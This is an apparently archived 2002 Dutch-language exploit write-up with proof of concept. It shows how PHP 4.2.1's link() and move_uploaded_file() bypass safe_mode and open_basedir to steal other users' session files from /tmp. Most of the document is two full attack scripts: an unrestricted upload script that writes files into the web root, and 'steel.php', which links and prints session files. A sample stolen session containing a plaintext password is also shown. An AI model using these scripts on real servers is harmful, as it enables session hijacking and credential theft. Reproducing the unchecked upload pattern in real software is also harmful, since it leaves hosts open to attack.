View text
| Info | |
|---|---|
| Author | BasTijs |
| Date added | 2002-09-05 |
| Last modified | 2002-09-05 |
PHP: link() exploit + Steel sessie POC
---------------------------------------------------
---------------------------------------------------
Gevonden door: BasTijs, bastijs@net-force.nl
Getest door: Tozz, tozz@embrace.selwerd.nl
Getest op: http://www.net-force.nl
Exploit: symlinks circumvent open_basedir restrictions
Proof of Consept: Sessie stelen dmv symlink + upload exploit
PHP Versie: 4.2.1
Datum : 16 Jun 2002
Bug report: http://bugs.php.net/bug.php?id=17790
---------------------------------------------------
---------------------------------------------------
In PHP versie 4.2.1 is het mogelijk om doormiddel van de
link() + move_uploaded_file() functie een bestand bijv.
een sessie uit de /tmp dir te stelen.
Stap 1 - Bypass safe_mode:
Doordat PHP gebruik maakt van de safe_mode restricties is het
niet mogelijk om bestanden te lezen die niet dezelfde UID hebben
als de gebruiker. Het is dus niet mogelijk om met mijn
UID 566 (bastijs ID 566) een bestand UID 48 (apache ID 48) uit de
/tmp dir te lezen.
Maken we nu gebruik van een upload script met de move_upload_file()
functie dan zal het bestand dat je upload UID 48, apache krijgen.
Dit bestand zou dus wel uit de /tmp dir kunnen lezen.
* upload.php is te vinden onderaan dit artikel
Stap 2 - Bypass open_basedir restrictie:
PHP maakt ook gebruik van de open_basedir restrictie, het is dus niet
mogelijk om vanuit mijn directory /domains/net-force.nl/public_html/www/
een bestand te lezen in /tmp
Dit probleem kunnen we oplossen door zelf een tmp directory te maken
dus /domains/net-force.nl/public_html/www/tmp/ en het bestand met UID 48
een link te laten maken met de link() functie van /tmp naar onze
directory.
We uploaden dus steel.php en voeren de naam van de file in die we willen stelen
en versturen hem, nog geen seconde later zal je de file op je scherm geprint krijgen
ik heb als test sessie c0b66dd6df22091b72da1763a233dc85 proberen te stelen, vullen we
dus deze sessie in dan zal steel.php netjes de inhoud tonen:
UserData|a:6:{i:0;s:1:"1";s:2:"id";s:1:"1";i:1;s:3:"Bas";s:4:"naam";s:3:
"Bas";i:2;s:3:"aap";s:8:"password";s:3:"aap";}
Hieronder vind je de scripts die ik gebruikt heb:
upload.php
++++++++++++++
<?
$file = $HTTP_POST_FILES['file']['name'];
$type = $HTTP_POST_FILES['file']['type'];
$size = $HTTP_POST_FILES['file']['size'];
$temp = $HTTP_POST_FILES['file']['tmp_name'];
$size_limit = "100000"; // set size limit in bytes
if ($file){
if ($size < $size_limit){
move_uploaded_file($temp,"/domains/net-force.nl/public_html/www/".$file);
echo "File <tt>$file</tt> uploaded!";
}else{
echo "Sorry, your file exceeds the size limit of $size_limit bytes";
}
}
echo "
<form enctype='multipart/form-data' action=$PHP_SELF method=post>
Upload a file: <input name='file' type='file'>
<input type='submit' value='Upload'>
</form>
";
?>
++++++++++++++
steel.php
++++++++++++++
<?
if(IsSet($submit) && $submit == "steel"){
link("/tmp/sess_" . $sessie, "tmp/$sessie.txt");
$file = file("tmp/$sessie.txt");
echo $file[0];
}else{
echo "
<form method=\"post\" action=\"$PHP_SELF\">
Sessie:<br>
<input type=\"text\" name=\"sessie\"><br>
<input type=\"submit\" name=\"submit\" value=\"steel\">
</form>
";
}
?>
---------------------------------------------------
---------------------------------------------------